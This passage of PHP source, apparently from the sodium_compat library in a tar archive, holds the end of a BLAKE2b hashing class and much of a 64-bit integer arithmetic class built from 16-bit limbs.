
                # blake2b_compress( S, S->buf ); /* Compress */
                self::compress($ctx, $ctx[3]);

                # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
                for ($i = 128; $i--;) {
                    $ctx[3][$i] = $ctx[3][$i + 128];
                }

                # S->buflen -= BLAKE2B_BLOCKBYTES;
                $ctx[4] -= 128;

                # in += fill;
                $offset += $fill;

                # inlen -= fill;
                $plen -= $fill;
            } else {
                for ($i = $plen; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }
                $ctx[4] += $plen;
                $offset += $plen;
                $plen -= $plen;
            }
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $out
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedOperand
     */
    public static function finish(SplFixedArray $ctx, SplFixedArray $out)
    {
        self::pseudoConstructor();
        if ($ctx[4] > 128) {
            self::increment_counter($ctx, 128);
            self::compress($ctx, $ctx[3]);
            $ctx[4] -= 128;
            if ($ctx[4] > 128) {
                throw new SodiumException('Failed to assert that buflen <= 128 bytes');
            }
            for ($i = $ctx[4]; $i--;) {
                $ctx[3][$i] = $ctx[3][$i + 128];
            }
        }

        self::increment_counter($ctx, $ctx[4]);
        $ctx[2][0] = self::new64(0xffffffff, 0xffffffff);

        for ($i = 256 - $ctx[4]; $i--;) {
            /** @var int $i */
            $ctx[3][$i + $ctx[4]] = 0;
        }

        self::compress($ctx, $ctx[3]);

        $i = (int) (($out->getSize() - 1) / 8);
        for (; $i >= 0; --$i) {
            self::store64($out, $i << 3, $ctx[0][$i]);
        }
        return $out;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray|null $key
     * @param int $outlen
     * @param SplFixedArray|null $salt
     * @param SplFixedArray|null $personal
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function init(
        $key = null,
        $outlen = 64,
        $salt = null,
        $personal = null
    ) {
        self::pseudoConstructor();
        $klen = 0;

        if ($key !== null) {
            if (count($key) > 64) {
                throw new SodiumException('Invalid key size');
            }
            $klen = count($key);
        }

        if ($outlen > 64) {
            throw new SodiumException('Invalid output size');
        }

        $ctx = self::context();

        $p = new SplFixedArray(64);
        // Zero our param buffer...
        for ($i = 64; --$i;) {
            $p[$i] = 0;
        }

        $p[0] = $outlen; // digest_length
        $p[1] = $klen;   // key_length
        $p[2] = 1;       // fanout
        $p[3] = 1;       // depth

        if ($salt instanceof SplFixedArray) {
            // salt: [32] through [47]
            for ($i = 0; $i < 16; ++$i) {
                $p[32 + $i] = (int) $salt[$i];
            }
        }
        if ($personal instanceof SplFixedArray) {
            // personal: [48] through [63]
            for ($i = 0; $i < 16; ++$i) {
                $p[48 + $i] = (int) $personal[$i];
            }
        }

        $ctx[0][0] = self::xor64(
            $ctx[0][0],
            self::load64($p, 0)
        );

        if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) {
            // We need to do what blake2b_init_param() does:
            for ($i = 1; $i < 8; ++$i) {
                $ctx[0][$i] = self::xor64(
                    $ctx[0][$i],
                    self::load64($p, $i << 3)
                );
            }
        }

        if ($klen > 0 && $key instanceof SplFixedArray) {
            $block = new SplFixedArray(128);
            for ($i = 128; $i--;) {
                $block[$i] = 0;
            }
            for ($i = $klen; $i--;) {
                $block[$i] = $key[$i];
            }
            self::update($ctx, $block, 128);
            $ctx[4] = 128;
        }

        return $ctx;
    }

    /**
     * Convert a string into an SplFixedArray of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $str
     * @return SplFixedArray
     * @psalm-suppress MixedArgumentTypeCoercion
     */
    public static function stringToSplFixedArray($str = '')
    {
        $values = unpack('C*', $str);
        return SplFixedArray::fromArray(array_values($values));
    }

    /**
     * Convert an SplFixedArray of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $a
     * @return string
     */
    public static function SplFixedArrayToString(SplFixedArray $a)
    {
        /**
         * @var array<int, string|int>
         */
        $arr = $a->toArray();
        $c = $a->count();
        array_unshift($arr, str_repeat('C', $c));
        return (string) (call_user_func_array('pack', $arr));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @return string
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function contextToString(SplFixedArray $ctx)
    {
        $str = '';
        /** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA */
        $ctxA = $ctx[0]->toArray();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            if (!($ctxA[$i] instanceof ParagonIE_Sodium_Core32_Int64)) {
                throw new TypeError('Not an instance of Int64');
            }
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxAi */
            $ctxAi = $ctxA[$i];
            $str .= $ctxAi->toReverseString();
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            /** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA */
            $ctxA = $ctx[$i]->toArray();
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxA1 */
            $ctxA1 = $ctxA[0];
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxA2 */
            $ctxA2 = $ctxA[1];

            $str .= $ctxA1->toReverseString();
            $str .= $ctxA2->toReverseString();
        }

        # uint8_t buf[2 * 128];
        $str .= self::SplFixedArrayToString($ctx[3]);

        /** @var int $ctx4 */
        $ctx4 = $ctx[4];

        # size_t buflen;
        $str .= implode('', array(
            self::intToChr($ctx4 & 0xff),
            self::intToChr(($ctx4 >> 8) & 0xff),
            self::intToChr(($ctx4 >> 16) & 0xff),
            self::intToChr(($ctx4 >> 24) & 0xff),
            "\x00\x00\x00\x00"
            /*
            self::intToChr(($ctx4 >> 32) & 0xff),
            self::intToChr(($ctx4 >> 40) & 0xff),
            self::intToChr(($ctx4 >> 48) & 0xff),
            self::intToChr(($ctx4 >> 56) & 0xff)
            */
        ));
        # uint8_t last_node;
        return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23);
    }

    /**
     * Creates an SplFixedArray containing other SplFixedArray elements, from
     * a string (compatible with \Sodium\crypto_generichash_{init, update, final})
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function stringToContext($string)
    {
        $ctx = self::context();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $ctx[0][$i] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, (($i << 3) + 0), 8)
            );
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctx[$i][1] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, 72 + (($i - 1) << 4), 8)
            );
            $ctx[$i][0] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, 64 + (($i - 1) << 4), 8)
            );
        }

        # uint8_t buf[2 * 128];
        $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256));

        # uint8_t buf[2 * 128];
        $int = 0;
        for ($i = 0; $i < 8; ++$i) {
            $int |= self::chrToInt($string[352 + $i]) << ($i << 3);
        }
        $ctx[4] = $int;

        return $ctx;
    }
}
Core32/Int64.php000064400000074704151024233030007223 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core32_Int64
 *
 * Encapsulates a 64-bit integer.
 *
 * These are immutable. It always returns a new instance.
 */
class ParagonIE_Sodium_Core32_Int64
{
    /**
     * @var array<int, int> - four 16-bit integers
     */
    public $limbs = array(0, 0, 0, 0);

    /**
     * @var int
     */
    public $overflow = 0;

    /**
     * @var bool
     */
    public $unsignedInt = false;

    /**
     * ParagonIE_Sodium_Core32_Int64 constructor.
     * @param array $array
     * @param bool $unsignedInt
     */
    public function __construct($array = array(0, 0, 0, 0), $unsignedInt = false)
    {
        $this->limbs = array(
            (int) $array[0],
            (int) $array[1],
            (int) $array[2],
            (int) $array[3]
        );
        $this->overflow = 0;
        $this->unsignedInt = $unsignedInt;
    }

    /**
     * Adds two int64 objects
     *
     * @param ParagonIE_Sodium_Core32_Int64 $addend
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function addInt64(ParagonIE_Sodium_Core32_Int64 $addend)
    {
        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $i2 = $this->limbs[2];
        $i3 = $this->limbs[3];
        $j0 = $addend->limbs[0];
        $j1 = $addend->limbs[1];
        $j2 = $addend->limbs[2];
        $j3 = $addend->limbs[3];

        $r3 = $i3 + ($j3 & 0xffff);
        $carry = $r3 >> 16;

        $r2 = $i2 + ($j2 & 0xffff) + $carry;
        $carry = $r2 >> 16;

        $r1 = $i1 + ($j1 & 0xffff) + $carry;
        $carry = $r1 >> 16;

        $r0 = $i0 + ($j0 & 0xffff) + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $r2 &= 0xffff;
        $r3 &= 0xffff;

        $return = new ParagonIE_Sodium_Core32_Int64(
            array($r0, $r1, $r2, $r3)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * Adds a normal integer to an int64 object
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function addInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $i2 = $this->limbs[2];
        $i3 = $this->limbs[3];

        $r3 = $i3 + ($int & 0xffff);
        $carry = $r3 >> 16;

        $r2 = $i2 + (($int >> 16) & 0xffff) + $carry;
        $carry = $r2 >> 16;

        $r1 = $i1 + $carry;
        $carry = $r1 >> 16;

        $r0 = $i0 + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $r2 &= 0xffff;
        $r3 &= 0xffff;
        $return = new ParagonIE_Sodium_Core32_Int64(
            array($r0, $r1, $r2, $r3)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param int $b
     * @return int
     */
    public function compareInt($b = 0)
    {
        $gt = 0;
        $eq = 1;

        $i = 4;
        $j = 0;
        while ($i > 0) {
            --$i;
            /** @var int $x1 */
            $x1 = $this->limbs[$i];
            /** @var int $x2 */
            $x2 = ($b >> ($j << 4)) & 0xffff;
            /** int */
            $gt |= (($x2 - $x1) >> 8) & $eq;
            /** int */
            $eq &= (($x2 ^ $x1) - 1) >> 8;
        }
        return ($gt + $gt - $eq) + 1;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isGreaterThan($b = 0)
    {
        return $this->compareInt($b) > 0;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isLessThanInt($b = 0)
    {
        return $this->compareInt($b) < 0;
    }

    /**
     * @param int $hi
     * @param int $lo
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mask64($hi = 0, $lo = 0)
    {
        /** @var int $a */
        $a = ($hi >> 16) & 0xffff;
        /** @var int $b */
        $b = ($hi) & 0xffff;
        /** @var int $c */
        $c = ($lo >> 16) & 0xffff;
        /** @var int $d */
        $d = ($lo & 0xffff);
        return new ParagonIE_Sodium_Core32_Int64(
            array(
                $this->limbs[0] & $a,
                $this->limbs[1] & $b,
                $this->limbs[2] & $c,
                $this->limbs[3] & $d
            ),
            $this->unsignedInt
        );
    }

    /**
     * @param int $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     */
    public function mulInt($int = 0, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulIntFast($int);
        }
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        /** @var int $int */
        $int = (int) $int;
        /** @var int $size */
        $size = (int) $size;

        if (!$size) {
            $size = 63;
        }

        $a = clone $this;
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $ret2 = 0;
        $ret3 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $a2 = $a->limbs[2];
        $a3 = $a->limbs[3];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $mask = -($int & 1);
            $x0 = $a0 & $mask;
            $x1 = $a1 & $mask;
            $x2 = $a2 & $mask;
            $x3 = $a3 & $mask;

            $ret3 += $x3;
            $c = $ret3 >> 16;

            $ret2 += $x2 + $c;
            $c = $ret2 >> 16;

            $ret1 += $x1 + $c;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;
            $ret2 &= 0xffff;
            $ret3 &= 0xffff;

            $a3 = $a3 << 1;
            $x3 = $a3 >> 16;
            $a2 = ($a2 << 1) | $x3;
            $x2 = $a2 >> 16;
            $a1 = ($a1 << 1) | $x2;
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $a2 &= 0xffff;
            $a3 &= 0xffff;

            $int >>= 1;
        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        $return->limbs[2] = $ret2;
        $return->limbs[3] = $ret3;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $A
     * @param ParagonIE_Sodium_Core32_Int64 $B
     * @return array<int, ParagonIE_Sodium_Core32_Int64>
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedInferredReturnType
     */
    public static function ctSelect(
        ParagonIE_Sodium_Core32_Int64 $A,
        ParagonIE_Sodium_Core32_Int64 $B
    ) {
        $a = clone $A;
        $b = clone $B;
        /** @var int $aNeg */
        $aNeg = ($a->limbs[0] >> 15) & 1;
        /** @var int $bNeg */
        $bNeg = ($b->limbs[0] >> 15) & 1;
        /** @var int $m */
        $m = (-($aNeg & $bNeg)) | 1;
        /** @var int $swap */
        $swap = $bNeg & ~$aNeg;
        /** @var int $d */
        $d = -$swap;

        /*
        if ($bNeg && !$aNeg) {
            $a = clone $int;
            $b = clone $this;
        } elseif($bNeg && $aNeg) {
            $a = $this->mulInt(-1);
            $b = $int->mulInt(-1);
        }
         */
        $x = $a->xorInt64($b)->mask64($d, $d);
        return array(
            $a->xorInt64($x)->mulInt($m),
            $b->xorInt64($x)->mulInt($m)
        );
    }

    /**
     * @param array<int, int> $a
     * @param array<int, int> $b
     * @param int $baseLog2
     * @return array<int, int>
     */
    public function multiplyLong(array $a, array $b, $baseLog2 = 16)
    {
        $a_l = count($a);
        $b_l = count($b);
        /** @var array<int, int> $r */
        $r = array_fill(0, $a_l + $b_l + 1, 0);
        $base = 1 << $baseLog2;
        for ($i = 0; $i < $a_l; ++$i) {
            $a_i = $a[$i];
            for ($j = 0; $j < $a_l; ++$j) {
                $b_j = $b[$j];
                $product = (($a_i * $b_j) + $r[$i + $j]);
                $carry = (((int) $product >> $baseLog2) & 0xffff);
                $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff;
                $r[$i + $j + 1] += $carry;
            }
        }
        return array_slice($r, 0, 5);
    }

    /**
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mulIntFast($int)
    {
        // Handle negative numbers
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($int >> 31) & 1;
        $a = array_reverse($this->limbs);
        $b = array(
            $int & 0xffff,
            ($int >> 16) & 0xffff,
            -$bNeg & 0xffff,
            -$bNeg & 0xffff
        );
        if ($aNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        // Multiply
        $res = $this->multiplyLong($a, $b);

        // Re-apply negation to results
        if ($aNeg !== $bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $res[$i] = (0xffff ^ $res[$i]) & 0xffff;
            }
            // Handle integer overflow
            $c = 1;
            for ($i = 0; $i < 4; ++$i) {
                $res[$i] += $c;
                $c = $res[$i] >> 16;
                $res[$i] &= 0xffff;
            }
        }

        // Return our values
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs = array(
            $res[3] & 0xffff,
            $res[2] & 0xffff,
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 4) {
            $return->overflow = $res[4] & 0xffff;
        }
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $right
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mulInt64Fast(ParagonIE_Sodium_Core32_Int64 $right)
    {
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($right->limbs[0] >> 15) & 1;

        $a = array_reverse($this->limbs);
        $b = array_reverse($right->limbs);
        if ($aNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        $res = $this->multiplyLong($a, $b);
        if ($aNeg !== $bNeg) {
            if ($aNeg !== $bNeg) {
                for ($i = 0; $i < 4; ++$i) {
                    $res[$i] = ($res[$i] ^ 0xffff) & 0xffff;
                }
                $c = 1;
                for ($i = 0; $i < 4; ++$i) {
                    $res[$i] += $c;
                    $c = $res[$i] >> 16;
                    $res[$i] &= 0xffff;
                }
            }
        }
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs = array(
            $res[3] & 0xffff,
            $res[2] & 0xffff,
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 4) {
            $return->overflow = $res[4];
        }
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     */
    public function mulInt64(ParagonIE_Sodium_Core32_Int64 $int, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulInt64Fast($int);
        }
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        if (!$size) {
            $size = 63;
        }
        list($a, $b) = self::ctSelect($this, $int);

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $ret2 = 0;
        $ret3 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $a2 = $a->limbs[2];
        $a3 = $a->limbs[3];
        $b0 = $b->limbs[0];
        $b1 = $b->limbs[1];
        $b2 = $b->limbs[2];
        $b3 = $b->limbs[3];

        /** @var int $size */
        /** @var int $i */
        for ($i = (int) $size; $i >= 0; --$i) {
            $mask = -($b3 & 1);
            $x0 = $a0 & $mask;
            $x1 = $a1 & $mask;
            $x2 = $a2 & $mask;
            $x3 = $a3 & $mask;

            $ret3 += $x3;
            $c = $ret3 >> 16;

            $ret2 += $x2 + $c;
            $c = $ret2 >> 16;

            $ret1 += $x1 + $c;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;
            $ret2 &= 0xffff;
            $ret3 &= 0xffff;

            $a3 = $a3 << 1;
            $x3 = $a3 >> 16;
            $a2 = ($a2 << 1) | $x3;
            $x2 = $a2 >> 16;
            $a1 = ($a1 << 1) | $x2;
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $a2 &= 0xffff;
            $a3 &= 0xffff;

            $x0 = ($b0 & 1) << 16;
            $x1 = ($b1 & 1) << 16;
            $x2 = ($b2 & 1) << 16;

            $b0 = ($b0 >> 1);
            $b1 = (($b1 | $x0) >> 1);
            $b2 = (($b2 | $x1) >> 1);
            $b3 = (($b3 | $x2) >> 1);

            $b0 &= 0xffff;
            $b1 &= 0xffff;
            $b2 &= 0xffff;
            $b3 &= 0xffff;

        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        $return->limbs[2] = $ret2;
        $return->limbs[3] = $ret3;

        return $return;
    }

    /**
     * OR this 64-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function orInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] | $b->limbs[0]),
            (int) ($this->limbs[1] | $b->limbs[1]),
            (int) ($this->limbs[2] | $b->limbs[2]),
            (int) ($this->limbs[3] | $b->limbs[3])
        );
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 3;
            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            for ($i = 3; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i + $idx_shift) & 3;
                /** @var int $k */
                $k = ($i + $idx_shift + 1) & 3;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) << $sub_shift)
                            |
                        ((int) ($myLimbs[$k]) >> (16 - $sub_shift))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * Rotate to the right
     *
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        /** @var ParagonIE_Sodium_Core32_Int64 $return */
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 3;
            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            for ($i = 3; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i - $idx_shift) & 3;
                /** @var int $k */
                $k = ($i - $idx_shift - 1) & 3;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) >> (int) ($sub_shift))
                            |
                        ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift)))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }
    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;

        if ($c >= 16) {
            if ($c >= 48) {
                $return->limbs = array(
                    $this->limbs[3], 0, 0, 0
                );
            } elseif ($c >= 32) {
                $return->limbs = array(
                    $this->limbs[2], $this->limbs[3], 0, 0
                );
            } else {
                $return->limbs = array(
                    $this->limbs[1], $this->limbs[2], $this->limbs[3], 0
                );
            }
            return $return->shiftLeft($c & 15);
        }
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftRight(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $carry */
            $carry = 0;
            for ($i = 3; $i >= 0; --$i) {
                /** @var int $tmp */
                $tmp = ($this->limbs[$i] << $c) | ($carry & 0xffff);
                $return->limbs[$i] = (int) ($tmp & 0xffff);
                /** @var int $carry */
                $carry = $tmp >> 16;
            }
        }
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        $c = (int) $c;
        /** @var int $c */
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;

        $negative = -(($this->limbs[0] >> 15) & 1);
        if ($c >= 16) {
            if ($c >= 48) {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0]
                );
            } elseif ($c >= 32) {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0],
                    (int) $this->limbs[1]
                );
            } else {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0],
                    (int) $this->limbs[1],
                    (int) $this->limbs[2]
                );
            }
            return $return->shiftRight($c & 15);
        }

        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            return $this->shiftLeft(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $carryRight */
            $carryRight = ($negative & 0xffff);
            $mask = (int) (((1 << ($c + 1)) - 1) & 0xffff);
            for ($i = 0; $i < 4; ++$i) {
                $return->limbs[$i] = (int) (
                    (($this->limbs[$i] >> $c) | ($carryRight << (16 - $c))) & 0xffff
                );
                $carryRight = (int) ($this->limbs[$i] & $mask);
            }
        }
        return $return;
    }


    /**
     * Subtract a normal integer from an int64 object.
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function subInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        $int = (int) $int;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $carry */
        $carry = 0;
        for ($i = 3; $i >= 0; --$i) {
            /** @var int $tmp */
            $tmp = $this->limbs[$i] - (($int >> 16) & 0xffff) + $carry;
            /** @var int $carry */
            $carry = $tmp >> 16;
            $return->limbs[$i] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * The difference between two Int64 objects.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function subInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        /** @var int $carry */
        $carry = 0;
        for ($i = 3; $i >= 0; --$i) {
            /** @var int $tmp */
            $tmp = $this->limbs[$i] - $b->limbs[$i] + $carry;
            /** @var int $carry */
            $carry = ($tmp >> 16);
            $return->limbs[$i] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * XOR this 64-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function xorInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] ^ $b->limbs[0]),
            (int) ($this->limbs[1] ^ $b->limbs[1]),
            (int) ($this->limbs[2] ^ $b->limbs[2]),
            (int) ($this->limbs[3] ^ $b->limbs[3])
        );
        return $return;
    }

    /**
     * @param int $low
     * @param int $high
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInts($low, $high)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($high, 'int', 2);

        $high = (int) $high;
        $low = (int) $low;
        return new ParagonIE_Sodium_Core32_Int64(
            array(
                (int) (($high >> 16) & 0xffff),
                (int) ($high & 0xffff),
                (int) (($low >> 16) & 0xffff),
                (int) ($low & 0xffff)
            )
        );
    }

    /**
     * @param int $low
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
